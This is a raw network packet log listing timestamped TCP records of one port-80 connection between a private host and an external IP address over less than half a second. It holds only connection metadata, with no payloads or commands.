Nov 23, 2024 13:28:12.113909006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.113936901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.113998890 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.114790916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.114892006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.114931107 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.114993095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.115819931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.115904093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.115966082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.115966082 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.116766930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.116853952 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.116882086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.116938114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.117824078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.117980957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.118010998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.118138075 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.118725061 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.118804932 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.118835926 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.118900061 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.119715929 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.119796991 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.119827986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.119935036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.120745897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.120819092 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.120831013 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.120949030 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.124901056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.124934912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.124969959 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.124979019 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.125005960 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.125031948 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.125041962 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.125077963 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.125078917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.125078917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.125114918 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.125134945 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.125916004 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.126019955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.126070976 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.126174927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.126996040 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.127084970 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.127295971 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.127458096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.128109932 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.128185034 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.128232956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.128436089 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.129138947 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.129211903 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.277658939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.277784109 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.277863979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.277892113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.278165102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.278250933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.278261900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.278347015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.279186010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.279268980 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.279345989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.279445887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.280098915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.280193090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.280227900 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.280328989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.281078100 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.281202078 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.281303883 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.282033920 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.282226086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.282324076 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.283054113 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.283193111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.283207893 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.283273935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.284018993 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.284158945 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.284162998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.284208059 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.285032988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.285161018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.285162926 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.285233021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.286016941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.286097050 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.286128998 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.286212921 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.286978006 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.287061930 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.287097931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.287169933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.287956953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.288053036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.288099051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.288214922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.288966894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.289042950 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.289096117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.289151907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.289931059 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.290019989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.290056944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.290303946 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.290915966 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.291057110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.291124105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.291182041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.291912079 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.291975021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.292011023 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.292139053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.292886972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.292947054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.293000937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.293107033 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.293862104 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.293936968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.293998957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.294137955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.294837952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.294965029 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.294987917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.295017958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.295842886 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.295941114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.295979977 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.296071053 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.296847105 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.296905041 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.297029018 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.297313929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.297813892 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.297905922 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.297970057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.298082113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.298815012 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.298988104 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.298994064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.299052000 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.299788952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.299894094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.299963951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.300020933 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.300776958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.300879002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.300935984 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.300935984 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.301742077 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.301825047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.301860094 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.301925898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.302848101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.302920103 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.302921057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.303051949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.303730965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.303801060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.303881884 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.303955078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.304722071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.304856062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.304868937 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.304929018 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.305691957 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.305759907 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.305814981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.305876017 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.306694984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.306746960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.306770086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.306826115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.307667017 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.307735920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.307784081 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.307853937 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.308662891 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.308711052 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.308762074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.308852911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.309629917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.309712887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.309736967 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.309843063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.310596943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.310708046 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.310733080 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.310844898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.311579943 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.311665058 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.311707973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.311765909 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.312568903 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.312678099 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.312688112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.312747955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.313546896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.313604116 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.313658953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.313796997 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.314563990 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.314651966 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.314654112 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.314744949 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.315506935 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.315583944 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.315680027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.315741062 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.316545010 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.316673994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.316684961 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.316750050 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.317522049 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.317579985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.317609072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.317631960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.318517923 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.318598986 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.318630934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.318691015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.319461107 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.319585085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.319622993 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.319823027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.320472002 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.320528984 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.320559978 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.320687056 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.321405888 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.321526051 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.321599007 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.322402954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.322521925 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.322525024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.322594881 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.323410988 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.323482037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.323508024 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.323723078 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.324368954 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.324482918 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.324482918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.324599981 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.325330019 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.325403929 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.325467110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.325560093 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.326332092 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.326473951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.326531887 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.327557087 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.327625036 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.327723980 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.327929974 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.328564882 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.328670979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.328679085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.328792095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.329349995 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.329420090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.481535912 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.481555939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.481647015 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.481914997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.482007027 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.482069969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.482069969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.482892036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.483007908 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.483040094 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.483107090 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.483917952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.483974934 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.483979940 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.484040022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.484870911 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.484925032 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.484972000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.485096931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.485843897 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.485897064 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.485901117 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.485972881 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.486861944 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.486949921 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.486970901 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.486998081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.487824917 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.487955093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.487998962 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.488035917 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.488799095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.488853931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.488922119 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.488980055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.489778996 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.489841938 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.489880085 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.489932060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.490741968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.490811110 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.490847111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.491044998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.491748095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.491802931 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.491887093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.491935968 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.492742062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.492794037 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.492840052 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.492932081 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.493700981 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.493760109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.493802071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.493931055 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.494673014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.494788885 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.494828939 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.494882107 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.495655060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.495763063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.495786905 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.495872021 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.496701956 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.496773005 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.496818066 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.496862888 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.497642994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.497697115 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.497741938 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.497793913 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:12.498640060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:12.498745918 CET	49729	80	192.168.2.6	31.41.244.11
